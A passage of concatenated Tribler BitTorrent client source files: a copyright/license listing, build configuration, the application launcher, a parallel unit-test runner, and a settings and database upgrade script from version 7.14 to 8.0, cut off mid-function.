Tribler/Utilities/LinuxSingleInstanceChecker.py Tribler/Video/Images/* Tribler/Video/VideoFrame.py reset.bat reset-keepid.bat Tribler/Core/Video/PiecePickerSVC.py Tribler/Core/Video/SVCTransporter.py Tribler/Core/Video/SVCVideoStatus.py Tribler/schema_sdb_v5.sql Tribler/Core/APIImplementation/makeurl.py Tribler/Core/BuddyCast/channelcast.py Tribler/Core/DecentralizedTracking/repex.py Tribler/Core/NATFirewall/TimeoutFinder.py Tribler/Core/NATFirewall/UDPPuncture.py Tribler/Core/Statistics/RepexCrawler.py Tribler/Debug/* Tribler/Tools/createtorrent.py Tribler/Tools/pingbackserver.py Tribler/Tools/seeking.py Tribler/Tools/stunserver.py lucid-xpicreate.sh patentfreevlc.bat Tribler/Core/BitTornado/BT1/GetRightHTTPDownloader.py Tribler/Core/BitTornado/BT1/HoffmanHTTPDownloader.py Tribler/Core/CacheDB/MetadataDBHandler.py Tribler/Core/DecentralizedTracking/MagnetLink/* Tribler/Core/Subtitles/* Tribler/Images/SwarmServerIcon.ico Tribler/Main/Build/Ubuntu/tribler.gconf-defaults Tribler/Main/Utility/logging_util.py Tribler/Main/vwxGUI/ChannelsPanel.py Tribler/Main/vwxGUI/images/iconSaved_state4.png Tribler/schema_sdb_v5.sql Tribler/Test/Core/* Tribler/Test/extend_hs_dir/proxyservice.test.torrent Tribler/Test/subtitles_test_res Tribler/Test/test_channelcast_plus_subtitles.py Tribler/Test/test_magnetlink.py Tribler/Test/test_miscutils.py Tribler/Test/test_subtitles.bat Tribler/Test/test_subtitles_isolation.py Tribler/Test/test_subtitles_msgs.py Tribler/Test/test_subtitles.sh Tribler/Test/test_threadpool.py Tribler/Tools/dirtracker.py Tribler/Tools/duration2torrent.py Tribler/Tools/httpseeder.py Tribler/Transport/* Tribler/Video/Ogg.py Tribler/WebUI/* xpitransmakedeb.sh xpitransmakedist.bat xpitransmakedist.sh xpitransmakedistmac.sh xie8transmakedist.bat TUD/swift-spbackend-r1598/*vlc-1.0.5-swarmplugin-switch-kcc-src-aug2010-r16968.patch
Copyright: 2008-2012 TECHNISCHE UNIVERSITEIT DELFT
License: LGPL-2.1+
Files: Tribler/Core/DecentralizedTracking/kadtracker/*
Copyright: 2008-2012 Kungliga Tekniska Högskolan (The Royal Institute of Technology)
License: LGPL-2.1+
Files: Tribler/Core/ProxyService/* Tribler/Tools/proxy-cmdline.py Tribler/Test/test_proxyservice_as_coord.bat Tribler/Test/test_proxyservice_as_coord.py Tribler/Test/test_proxyservice_as_coord.sh Tribler/Test/test_proxyservice.bat Tribler/Test/test_proxyservice.py Tribler/Test/test_proxyservice.sh Tribler/Test/extend_hs_dir/proxyservice.test.torrent
Copyright: 2008-2012 University Politehnica Bucharest
License: LGPL-2.1+
Files: Tribler/Core/BuddyCast/buddycast.py
Copyright: 2008-2010 Delft University of Technology and Technische Universität Berlin
License: LGPL-2.1+
Files: Tribler/Core/Search/Reranking.py Tribler/Test/test_buddycast4.py Tribler/Test/test_buddycast4_stresstest.py
Copyright: 2008-2010 Technische Universität Berlin
License: LGPL-2.1+
Files: Tribler/Transport/tribeIChannel.idl Tribler/Transport/tribeISwarmTransport.idl Tribler/Transport/components/TribeChannel.js Tribler/Transport/components/TribeProtocolHandler.js Tribler/Transport/components/SwarmTransport.js Tribler/Transport/install.rdf Tribler/Transport/chrome.manifest
Copyright: 2008-2012 TECHNISCHE UNIVERSITEIT DELFT and Jan Gerber
License: LGPL-2.1+
Files: Tribler/Core/BitTornado/* Tribler/Core/defaults.py Tribler/Core/APIImplementation/maketorrent.py Tribler/Core/DecentralizedTracking/ut_pex.py Tribler/Core/Overlay/SecureOverlay.py Tribler/Core/NATFirewall/ReturnConnHandler.py Tribler/Main/Dialogs/TorrentMaker.py Tribler/Test/test_permid.py
Copyright: 2001-2002 Bram Cohen
License: Expat
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation files
(the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge,
publish, distribute, sublicense, and/or sell copies of the Software,
and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
.
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
.
The Software is provided "AS IS", without warranty of any kind,
express or implied, including but not limited to the warranties of
merchantability, fitness for a particular purpose and
noninfringement. In no event shall the authors or copyright holders
be liable for any claim, damages or other liability, whether in an
action of contract, tort or otherwise, arising from, out of or in
connection with the Software or the use or other dealings in the
Software.
Files: debian/*
Copyright: 2012 Ying-Chun Liu (PaulLiu) <paulliu@debian.org>
License: LGPL-2.1+
License: LGPL-2.1+
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
.
On Debian systems, the complete text of the GNU Lesser General Public
License version 2 can be found in "/usr/share/common-licenses/LGPL-2.1".
License: GPL-2+
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
.
On Debian systems, the complete text of the GNU General Public
License version 2 can be found in "/usr/share/common-licenses/GPL-2".
License: LPPL-1.3
This work is distributed under the LaTeX Project Public License (LPPL)
( http://www.latex-project.org/ ) version 1.3, and may be freely used,
distributed and modified. A copy of the LPPL, version 1.3, is included
in the base LaTeX documentation of all distributions of LaTeX released
2003/12/01 or later.
| 8,653 | Python | .py | 95 | 89.315789 | 2,973 | 0.83105 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,888 | locate-python.py | Tribler_tribler/build/win/locate-python.py | """
Print the directory where Python is installed.
Author(s): Lipu Fei
"""
import os
import sys
if __name__ == "__main__":
print(os.path.abspath(os.path.dirname(sys.executable)))
| 185 | Python | .py | 8 | 21.375 | 59 | 0.708571 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,889 | build.py | Tribler_tribler/build/win/build.py | """
This file includes the build configuration for the Tribler.
The exports of this file are used in setup.py to build the executable or wheel package.
There are two build options:
1) setuptools is used to build the wheel package.
To create a wheel package:
python setup.py bdist_wheel
2) Building executable is done using cx_Freeze.
To build an executable:
python setup.py build
To create a distributable package:
python setup.py bdist
To create a distributable package for a specific platform:
python setup.py bdist_mac
python setup.py bdist_win
Building wheel and building executable had to be separated because cx_Freeze does not
support building wheels. Therefore, the build options are separated into two functions
and the appropriate function is called based on the command line arguments.
"""
import sys
import platform
def get_wheel_build_options():
from setuptools import setup as _setup
_setup_options = {"build_exe": {}}
_setup_executables = None
return _setup, _setup_options, _setup_executables
def get_freeze_build_options():
from cx_Freeze import setup as _setup, Executable
# These packages will be included in the build
sys.path.insert(0, 'src')
sys.path.insert(0, 'pyipv8')
included_packages = [
"aiohttp_apispec",
"pkg_resources",
"requests",
"tribler.core",
"libtorrent",
"ssl",
]
if platform.system() != 'Windows':
included_packages.append("gi")
# These files will be included in the build
included_files = [
("src/tribler/ui/public", "lib/tribler/ui/public"),
("src/tribler/ui/dist", "lib/tribler/ui/dist"),
("src/tribler/core", "tribler_source/tribler/core"),
("src/tribler/ui/public", "tribler_source/tribler/ui/public"),
("src/tribler/ui/dist", "tribler_source/tribler/ui/dist"),
("build/win/resources", "tribler_source/resources"),
("tribler.dist-info/METADATA", "lib/tribler.dist-info/METADATA")
]
# These packages will be excluded from the build
excluded_packages = [
'wx',
'PyQt4',
'FixTk',
'tcl',
'tk',
'_tkinter',
'tkinter',
'Tkinter',
'matplotlib',
'numpy',
'tribler.ui'
]
_setup_options = {
"build_exe": {
"packages": included_packages,
"excludes": excluded_packages,
"include_files": included_files,
"include_msvcr": True,
'build_exe': 'dist/tribler'
}
}
if platform.system() == 'Linux':
_setup_options["build_exe"]["bin_includes"] = "libffi.so"
app_name = "Tribler" if sys.platform != "linux" else "tribler"
app_script = "src/tribler/run.py"
app_icon_path = "build/win/resources/tribler.ico" if sys.platform == "win32" else "build/mac/resources/tribler.icns"
_setup_executables = [
Executable(
target_name=app_name,
script=app_script,
base="Win32GUI" if sys.platform == "win32" else None,
icon=app_icon_path,
)
]
return _setup, _setup_options, _setup_executables
# Based on the command line arguments, get the build options.
# If the command line arguments include 'setup.py' and 'bdist_wheel',
# then the options are for building a wheel package.
# Otherwise, the options are for building an executable (any other).
if {'setup.py', 'bdist_wheel'}.issubset(sys.argv):
setup, setup_options, setup_executables = get_wheel_build_options()
else:
setup, setup_options, setup_executables = get_freeze_build_options()
| 3,626 | Python | .py | 96 | 31.78125 | 120 | 0.666762 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,890 | run_tribler.py | Tribler_tribler/src/run_tribler.py | from __future__ import annotations
import sys
import traceback
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from pystray import Icon
def show_error(exc: Exception, shutdown: bool = True) -> None:
"""
Create a native pop-up without any third party dependency.
:param exc: the error to show to the user
:param shutdown: whether to shut down after showing the error
"""
title = f"A {exc.__class__.__name__} occurred"
text = "\n\n".join([str(a) for a in exc.args])
sep = "*" * 80
print('\n'.join([sep, title, sep, traceback.format_exc(), sep]), file=sys.stderr) # noqa: T201, FLY002
try:
if sys.platform == 'win32':
import win32api
win32api.MessageBox(0, text, title)
elif sys.platform == 'linux':
import subprocess
subprocess.Popen(['xmessage', '-center', text]) # noqa: S603, S607
elif sys.platform == 'darwin':
import subprocess
subprocess.Popen(['/usr/bin/osascript', '-e', text]) # noqa: S603
else:
print(f'cannot create native pop-up for system {sys.platform}') # noqa: T201
except Exception as exception:
# Use base Exception, because code above can raise many
# non-obvious types of exceptions:
# (SubprocessError, ImportError, win32api.error, FileNotFoundError)
print(f'Error while showing a message box: {exception}') # noqa: T201
if shutdown:
sys.exit(1)
try:
import argparse
import asyncio
import encodings.idna # noqa: F401 (https://github.com/pyinstaller/pyinstaller/issues/1113)
import logging.config
import os
import sys
import threading
import typing
import webbrowser
from pathlib import Path
from aiohttp import ClientSession
from PIL import Image
import tribler
from tribler.core.session import Session
from tribler.tribler_config import VERSION_SUBDIR, TriblerConfigManager
except Exception as e:
show_error(e)
logger = logging.getLogger(__name__)
class Arguments(typing.TypedDict):
"""
The possible command-line arguments to the core process.
"""
torrent: str
log_level: str
def parse_args() -> Arguments:
"""
Parse the command-line arguments.
"""
parser = argparse.ArgumentParser(prog='Tribler', description='Run Tribler BitTorrent client')
parser.add_argument('torrent', help='Torrent file to download', default='', nargs='?')
parser.add_argument('--log-level', default="INFO", action="store", nargs='?',
help="Set the log level. The default is 'INFO'",
choices=['CRITICAL', 'ERROR', 'WARNING', 'INFO', 'DEBUG', 'NOTSET'],
dest="log_level")
parser.add_argument('-s', '--server', action='store_true', help="Run headless as a server without graphical pystray interface")
return vars(parser.parse_args())
def get_root_state_directory(requested_path: os.PathLike | None) -> Path:
"""
Get the default application state directory.
"""
root_state_dir = (Path(requested_path) if os.path.isabs(requested_path)
else (Path(os.environ.get("APPDATA", "~")) / ".Tribler").expanduser().absolute())
root_state_dir.mkdir(parents=True, exist_ok=True)
return root_state_dir
async def start_download(config: TriblerConfigManager, server_url: str, torrent_uri: str) -> None:
"""
Start a download by calling the REST API.
"""
async with ClientSession() as client, client.put(server_url + "/api/downloads",
headers={"X-Api-Key": config.get("api/key")},
json={"uri": torrent_uri}) as response:
if response.status == 200:
logger.info("Successfully started torrent %s", torrent_uri)
else:
logger.warning("Failed to start torrent %s: %s", torrent_uri, await response.text())
def init_config(parsed_args: Arguments) -> TriblerConfigManager:
"""
Add environment variables to the configuration.
"""
logging.basicConfig(level=parsed_args["log_level"], stream=sys.stdout)
logger.info("Run Tribler: %s", parsed_args)
root_state_dir = get_root_state_directory(os.environ.get('TSTATEDIR', 'state_directory'))
(root_state_dir / VERSION_SUBDIR).mkdir(exist_ok=True, parents=True)
logger.info("Root state dir: %s", root_state_dir)
config = TriblerConfigManager(root_state_dir / VERSION_SUBDIR / "configuration.json")
config.set("state_dir", str(root_state_dir))
if "CORE_API_PORT" in os.environ:
config.set("api/http_port", int(os.environ.get("CORE_API_PORT")))
config.write()
if "CORE_API_KEY" in os.environ:
config.set("api/key", os.environ.get("CORE_API_KEY"))
config.write()
if config.get("api/key") is None:
config.set("api/key", os.urandom(16).hex())
config.write()
return config
def load_torrent_uri(parsed_args: Arguments) -> str | None:
"""
Loads the torrent URI.
"""
torrent_uri = parsed_args.get('torrent')
if torrent_uri and os.path.exists(torrent_uri):
if torrent_uri.endswith(".torrent"):
torrent_uri = Path(torrent_uri).as_uri()
if torrent_uri.endswith(".magnet"):
torrent_uri = Path(torrent_uri).read_text()
return torrent_uri
async def mac_event_loop() -> None:
"""
Consume Mac events on the asyncio main thread.
WARNING: sendEvent_ can block on some events. In particular, while the tray menu is open.
"""
from AppKit import NSApp, NSEventMaskAny
from Foundation import NSDate, NSDefaultRunLoopMode
while True:
event = NSApp().nextEventMatchingMask_untilDate_inMode_dequeue_(NSEventMaskAny, NSDate.now(),
NSDefaultRunLoopMode, True)
if event is None:
await asyncio.sleep(0.5)
else:
NSApp().sendEvent_(event)
await asyncio.sleep(0.01)
def spawn_tray_icon(session: Session, config: TriblerConfigManager) -> Icon:
"""
Create the tray icon.
"""
import pystray
image_path = tribler.get_webui_root() / "public" / "tribler.png"
image = Image.open(image_path.resolve())
api_port = session.rest_manager.get_api_port()
url = f"http://{config.get('api/http_host')}:{api_port}/ui/#/downloads/all?key={config.get('api/key')}"
menu = (pystray.MenuItem('Open', lambda: webbrowser.open_new_tab(url)),
pystray.MenuItem('Quit', lambda: session.shutdown_event.set()))
icon = pystray.Icon("Tribler", icon=image, title="Tribler", menu=menu)
webbrowser.open_new_tab(url)
if sys.platform == "darwin":
icon.run_detached(None)
asyncio.ensure_future(mac_event_loop()) # noqa: RUF006
else:
threading.Thread(target=icon.run).start()
return icon
async def main() -> None:
"""
The main script entry point.
"""
try:
parsed_args = parse_args()
config = init_config(parsed_args)
logger.info("Creating session. API port: %d. API key: %s.", config.get("api/http_port"), config.get("api/key"))
session = Session(config)
torrent_uri = load_torrent_uri(parsed_args)
server_url = await session.find_api_server()
headless = parsed_args.get('server')
if server_url:
logger.info("Core already running at %s", server_url)
if torrent_uri:
logger.info("Starting torrent using existing core")
await start_download(config, server_url, torrent_uri)
if not headless:
webbrowser.open_new_tab(server_url + f"?key={config.get('api/key')}")
logger.info("Shutting down")
return
await session.start()
except Exception as exc:
show_error(exc)
server_url = await session.find_api_server()
if server_url and torrent_uri:
await start_download(config, server_url, torrent_uri)
if not headless:
icon = spawn_tray_icon(session, config)
await session.shutdown_event.wait()
await session.shutdown()
if not headless:
icon.stop()
logger.info("Tribler shutdown completed")
if __name__ == "__main__":
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(main())
| 8,515 | Python | .py | 195 | 35.748718 | 131 | 0.639947 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,891 | run_unit_tests.py | Tribler_tribler/src/run_unit_tests.py | from __future__ import annotations
import argparse
import os
import pathlib
import platform
import sys
import time
import unittest
from concurrent.futures import ProcessPoolExecutor
sys.path.append(str(pathlib.Path("../pyipv8").absolute()))
from run_all_tests import (
DEFAULT_PROCESS_COUNT,
ProgrammerDistractor,
find_all_test_class_names,
install_libsodium,
task_test,
windows_missing_libsodium,
)
if platform.system() == "Darwin":
"""
The unit tests on Mac lock up on multiprocess getaddrinfo calls. We establish the lan addresses once here before
spawning any children.
File "/Users/runner/hostedtoolcache/Python/3.9.20/x64/lib/python3.9/socket.py", line 966, in getaddrinfo
| for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
"""
from ipv8.messaging.interfaces.lan_addresses.interfaces import get_lan_addresses
get_lan_addresses()
def task_tribler_test(*test_names: str) -> tuple[bool, int, float, list[tuple[str, str, str]], str]:
"""
Same as task_test but corrects the libsodium dll location.
"""
if platform.system() == "Windows":
os.add_dll_directory(str(pathlib.Path("libsodium.dll").absolute().parent))
return task_test(*test_names)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Run the Tribler tests.")
parser.add_argument("-p", "--processes", type=int, default=DEFAULT_PROCESS_COUNT, required=False,
help="The amount of processes to spawn.")
parser.add_argument("-q", "--quiet", action="store_true", required=False,
help="Don't show succeeded tests.")
parser.add_argument("-a", "--noanimation", action="store_true", required=False,
help="Don't animate the terminal output.")
parser.add_argument("-d", "--nodownload", action="store_true", required=False,
help="Don't attempt to download missing dependencies.")
parser.add_argument("-k", "--pattern", type=str, default="tribler/test_unit", required=False,
help="The unit test directory.")
args = parser.parse_args()
if platform.system() == "Windows" and windows_missing_libsodium() and not args.nodownload:
print("Failed to locate libsodium (libnacl requirement), downloading latest dll!") # noqa: T201
install_libsodium()
os.add_dll_directory(str(pathlib.Path("libsodium.dll").absolute().parent))
process_count = args.processes
test_class_names = find_all_test_class_names(pathlib.Path(args.pattern))
total_start_time = time.time()
total_end_time = time.time()
global_event_log = []
total_time_taken = 0
total_tests_run = 0
total_fail = False
print_output = ""
print(f"Launching in {process_count} processes ... awaiting results ... \033[s", end="", flush=True) # noqa: T201
with ProgrammerDistractor(not args.noanimation) as programmer_distractor:
with ProcessPoolExecutor(max_workers=process_count) as executor:
result = executor.map(task_tribler_test, test_class_names,
chunksize=len(test_class_names) // process_count + 1)
for process_output_handle in result:
failed, tests_run, time_taken, event_log, print_output = process_output_handle
total_fail |= failed
total_tests_run += tests_run
total_time_taken += time_taken
if failed:
global_event_log = event_log
break
global_event_log.extend(event_log)
total_end_time = time.time()
total_fail |= programmer_distractor.crashed # This is not a unit test failure but we still fail the test suite.
if programmer_distractor.crashed:
# The printed test results won't show any errors. We need to give some more info.
print("\033[u\033[Ktest suite process crash! Segfault?", end="\r\n\r\n", flush=True) # noqa: T201
else:
print("\033[u\033[Kdone!", end="\r\n\r\n", flush=True) # noqa: T201
if total_fail or not args.quiet:
print(unittest.TextTestResult.separator1) # noqa: T201
global_event_log.sort(key=lambda x: x[0])
for event in global_event_log:
print(("\033[91m" if event[1] == "ERR" else ("\033[94m" if event[1] == "LOG" else "\033[0m")) # noqa: T201
+ event[2] + "\033[0m",
end="")
print("\r\n" + unittest.TextTestResult.separator1) # noqa: T201
print("Summary:") # noqa: T201
if total_fail:
print("[\033[91mFAILED\033[0m", end="") # noqa: T201
else:
print("[\033[32mSUCCESS\033[0m", end="") # noqa: T201
print(f"] Ran {total_tests_run} tests " # noqa: T201
f"in {round(total_end_time-total_start_time, 2)} seconds "
f"({round(total_time_taken, 2)} seconds total in tests).")
if total_fail:
sys.exit(1)
| 4,996 | Python | .py | 99 | 42.272727 | 119 | 0.643165 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,892 | __init__.py | Tribler_tribler/src/tribler/__init__.py | import pathlib
import sys
def get_webui_root() -> pathlib.Path:
"""
Get the location of the "ui" directory.
When compiled through PyInstaller, the ui directory changes.
When running from source or when using cx_Freeze, we can use the ``__file__``.
"""
if hasattr(sys, '_MEIPASS'):
return pathlib.Path(sys._MEIPASS) / 'ui' # noqa: SLF001
return pathlib.Path(__file__).parent.absolute() / "ui"
| 432 | Python | .py | 11 | 34.727273 | 82 | 0.667464 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,893 | upgrade_script.py | Tribler_tribler/src/tribler/upgrade_script.py | """
UPDATE THIS FILE WHENEVER A NEW VERSION GETS RELEASED.
Checklist:
- Have you changed ``FROM`` to the previous version?
- Have you changed ``TO`` to the current version?
- Have you changed ``upgrade()`` to perform the upgrade?
"""
from __future__ import annotations
import logging
import os
import shutil
import sqlite3
from pathlib import Path
from typing import TYPE_CHECKING
from configobj import ConfigObj
from pony.orm import db_session
if TYPE_CHECKING:
from tribler.tribler_config import TriblerConfigManager
FROM: str = "7.14"
TO: str = "8.0"
# ruff: noqa: N802,RUF015,W291
def _copy_if_not_exist(src: str, dst: str) -> None:
"""
Copy a file if it does not exist.
"""
if os.path.exists(src) and not os.path.exists(dst):
shutil.copy(src, dst)
def _copy_if_exists(src: ConfigObj, src_path: str, dst: TriblerConfigManager, dst_path: str) -> None:
"""
Check if the src path is set and copy it into the dst if it is.
"""
out = src
for part in Path(src_path).parts:
if part in out:
out = out.get(part)
else:
return
dst.set(dst_path, out)
def _import_7_14_settings(src: str, dst: TriblerConfigManager) -> None:
"""
Read the file at the source path and import its settings.
"""
old = ConfigObj(src)
_copy_if_exists(old, "api/key", dst, "api/key")
_copy_if_exists(old, "api/http_enabled", dst, "api/http_enabled")
_copy_if_exists(old, "api/https_enabled", dst, "api/https_enabled")
_copy_if_exists(old, "ipv8/statistics", dst, "statistics")
_copy_if_exists(old, "libtorrent/port", dst, "libtorrent/port")
_copy_if_exists(old, "libtorrent/proxy_type", dst, "libtorrent/proxy_type")
_copy_if_exists(old, "libtorrent/proxy_server", dst, "libtorrent/proxy_server")
_copy_if_exists(old, "libtorrent/proxy_auth", dst, "libtorrent/proxy_auth")
_copy_if_exists(old, "libtorrent/max_connections_download", dst, "libtorrent/max_connections_download")
_copy_if_exists(old, "libtorrent/max_download_rate", dst, "libtorrent/max_download_rate")
_copy_if_exists(old, "libtorrent/max_upload_rate", dst, "libtorrent/max_upload_rate")
_copy_if_exists(old, "libtorrent/utp", dst, "libtorrent/utp")
_copy_if_exists(old, "libtorrent/dht", dst, "libtorrent/dht")
_copy_if_exists(old, "libtorrent/dht_readiness_timeout", dst, "libtorrent/dht_readiness_timeout")
_copy_if_exists(old, "libtorrent/upnp", dst, "libtorrent/upnp")
_copy_if_exists(old, "libtorrent/natpmp", dst, "libtorrent/natpmp")
_copy_if_exists(old, "libtorrent/lsd", dst, "libtorrent/lsd")
_copy_if_exists(old, "download_defaults/anonymity_enabled", dst, "libtorrent/download_defaults/anonymity_enabled")
_copy_if_exists(old, "download_defaults/number_hops", dst, "libtorrent/download_defaults/number_hops")
_copy_if_exists(old, "download_defaults/safeseeding_enabled",
dst, "libtorrent/download_defaults/safeseeding_enabled")
_copy_if_exists(old, "download_defaults/saveas", dst, "libtorrent/download_defaults/saveas")
_copy_if_exists(old, "download_defaults/seeding_mode", dst, "libtorrent/download_defaults/seeding_mode")
_copy_if_exists(old, "download_defaults/seeding_ratio", dst, "libtorrent/download_defaults/seeding_ratio")
_copy_if_exists(old, "download_defaults/seeding_time", dst, "libtorrent/download_defaults/seeding_time")
_copy_if_exists(old, "download_defaults/channel_download", dst, "libtorrent/download_defaults/channel_download")
_copy_if_exists(old, "download_defaults/add_download_to_channel",
dst, "libtorrent/download_defaults/add_download_to_channel")
_copy_if_exists(old, "popularity_community/enabled", dst, "content_discovery_community/enabled")
_copy_if_exists(old, "torrent_checking/enabled", dst, "torrent_checker/enabled")
_copy_if_exists(old, "tunnel_community/enabled", dst, "tunnel_community/enabled")
_copy_if_exists(old, "tunnel_community/min_circuits", dst, "tunnel_community/min_circuits")
_copy_if_exists(old, "tunnel_community/max_circuits", dst, "tunnel_community/max_circuits")
def _inject_StatementOp(abs_src_db: str, abs_dst_db: str) -> None:
"""
Import old StatementOp entries.
"""
src_con = sqlite3.connect(abs_src_db)
output = list(src_con.execute("""SELECT SubjectResource.name, SubjectResource.type, ObjectResource.name,
ObjectResource.type, Statement.added_count, Statement.removed_count, Statement.local_operation, Peer.public_key,
Peer.added_at, StatementOp.operation, StatementOp.clock, StatementOp.signature, StatementOp.updated_at,
StatementOp.auto_generated
FROM StatementOp
INNER JOIN Peer ON StatementOp.peer=Peer.id
INNER JOIN Statement ON StatementOp.statement=Statement.id
INNER JOIN Resource AS SubjectResource ON Statement.subject=SubjectResource.id
INNER JOIN Resource AS ObjectResource ON Statement.object=ObjectResource.id
;"""))
src_con.close()
dst_con = sqlite3.connect(abs_dst_db)
with db_session:
for (subject_name, subject_type,
object_name, object_type,
stmt_added_count, stmt_removed_count, stmt_local_operation,
peer_public_key, peer_added_at,
stmtop_operation, stmtop_clock, stmtop_signature, stmtop_updated_at, stmtop_auto_generated) in output:
dst_con.execute("BEGIN")
try:
# Insert subject
results = list(dst_con.execute("SELECT id FROM Resource WHERE name=? AND type=?",
(subject_name, subject_type)))
if not results:
cursor = dst_con.execute("INSERT INTO Resource "
"VALUES ((SELECT COALESCE(MAX(id),0)+1 FROM Resource), ?, ?)",
(subject_name, subject_type))
results = [(cursor.lastrowid, )]
subject_id, = results[0]
# Insert object
results = list(
dst_con.execute("SELECT id FROM Resource WHERE name=? AND type=?", (object_name, object_type)))
if not results:
cursor = dst_con.execute(
"INSERT INTO Resource VALUES ((SELECT COALESCE(MAX(id),0)+1 FROM Resource), ?, ?)",
(object_name, object_type)
)
results = [(cursor.lastrowid, )]
object_id, = results[0]
# Insert statement
results = list(dst_con.execute("SELECT id FROM Statement WHERE object=? AND subject=?",
(object_id, subject_id)))
if not results:
cursor = dst_con.execute(
"INSERT INTO Statement VALUES ((SELECT COALESCE(MAX(id),0)+1 FROM Statement), ?, ?, ?, ?, ?)",
(subject_id, object_id, stmt_added_count, stmt_removed_count, stmt_local_operation)
)
results = [(cursor.lastrowid, )]
statement_id, = results[0]
# Insert peer
results = list(
dst_con.execute("SELECT id, added_at FROM Peer WHERE public_key=?", (peer_public_key, )))
if results and results[0][1] >= peer_added_at:
dst_con.execute("UPDATE Peer SET added_at=? WHERE public_key=?", (peer_added_at, peer_public_key))
results = [(results[0][0],)]
elif not results:
cursor = dst_con.execute(
"INSERT INTO Peer VALUES ((SELECT COALESCE(MAX(id),0)+1 FROM Peer), ?, ?)",
(peer_public_key, peer_added_at)
)
results = [(cursor.lastrowid, )]
else:
results = [(results[0][0], )]
peer_id, = results[0]
# Insert statement op
results = list(dst_con.execute("SELECT id FROM StatementOp WHERE statement=? AND peer=?",
(statement_id, peer_id)))
if not results:
dst_con.execute(
"INSERT INTO StatementOp VALUES ((SELECT COALESCE(MAX(id),0)+1 FROM StatementOp), "
"?, ?, ?, ?, ?, ?, ?)",
(statement_id, peer_id, stmtop_operation, stmtop_clock, stmtop_signature, stmtop_updated_at,
stmtop_auto_generated))
dst_con.execute("COMMIT")
except sqlite3.DatabaseError as e:
dst_con.execute("ROLLBACK")
logging.exception(e)
dst_con.commit()
dst_con.close()
def _inject_ChannelNode(abs_src_db: str, abs_dst_db: str) -> None:
"""
Import old ChannelNode entries.
"""
src_con = sqlite3.connect(abs_src_db)
output = list(src_con.execute("""SELECT ChannelNode.infohash, ChannelNode.size, ChannelNode.torrent_date,
ChannelNode.tracker_info, ChannelNode.title, ChannelNode.tags, ChannelNode.metadata_type, ChannelNode.reserved_flags,
ChannelNode.origin_id, ChannelNode.public_key, ChannelNode.id_, ChannelNode.timestamp, ChannelNode.signature,
ChannelNode.added_on, ChannelNode.status, ChannelNode.xxx, ChannelNode.tag_processor_version, TorrentState.seeders,
TorrentState.leechers, TorrentState.last_check, TorrentState.self_checked, TorrentState.has_data
FROM ChannelNode
INNER JOIN TorrentState ON ChannelNode.health=TorrentState.rowid
;"""))
src_con.close()
dst_con = sqlite3.connect(abs_dst_db)
with db_session:
for (infohash, size, torrent_date, tracker_info, title, tags, metadata_type, reserved_flags,
origin_id, public_key, id_, timestamp, signature, added_on, status, xxx, tag_processor_version,
seeders, leechers, last_check, self_checked, has_data) in output:
dst_con.execute("BEGIN")
try:
# Insert subject
results = list(dst_con.execute("SELECT rowid FROM TorrentState WHERE infohash=?", (infohash, )))
if not results:
cursor = dst_con.execute("INSERT INTO TorrentState "
"VALUES ((SELECT COALESCE(MAX(rowid),0)+1 FROM TorrentState), "
"?, ?, ?, ?, ?, ?)",
(infohash, seeders, leechers, last_check, self_checked, has_data))
results = [(cursor.lastrowid, )]
health_id, = results[0]
# Insert channel ChannelNode
results = list(dst_con.execute("SELECT rowid FROM ChannelNode WHERE public_key=? AND id_=?",
(public_key, id_)))
if not results:
dst_con.execute(
"INSERT INTO ChannelNode VALUES ((SELECT COALESCE(MAX(rowid),0)+1 FROM ChannelNode), "
"?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
(infohash, size, torrent_date, tracker_info, title, tags, metadata_type, reserved_flags,
origin_id, public_key, id_, timestamp, signature, added_on, status, xxx, health_id,
tag_processor_version))
dst_con.execute("COMMIT")
except sqlite3.DatabaseError as e:
dst_con.execute("ROLLBACK")
logging.exception(e)
dst_con.commit()
dst_con.close()
def _inject_TrackerState(abs_src_db: str, abs_dst_db: str) -> None:
"""
Import old TrackerState entries.
"""
src_con = sqlite3.connect(abs_src_db)
output = list(src_con.execute("SELECT url, last_check, alive, failures FROM TrackerState;"))
src_con.close()
dst_con = sqlite3.connect(abs_dst_db)
with db_session:
for (url, last_check, alive, failures) in output:
dst_con.execute("BEGIN")
try:
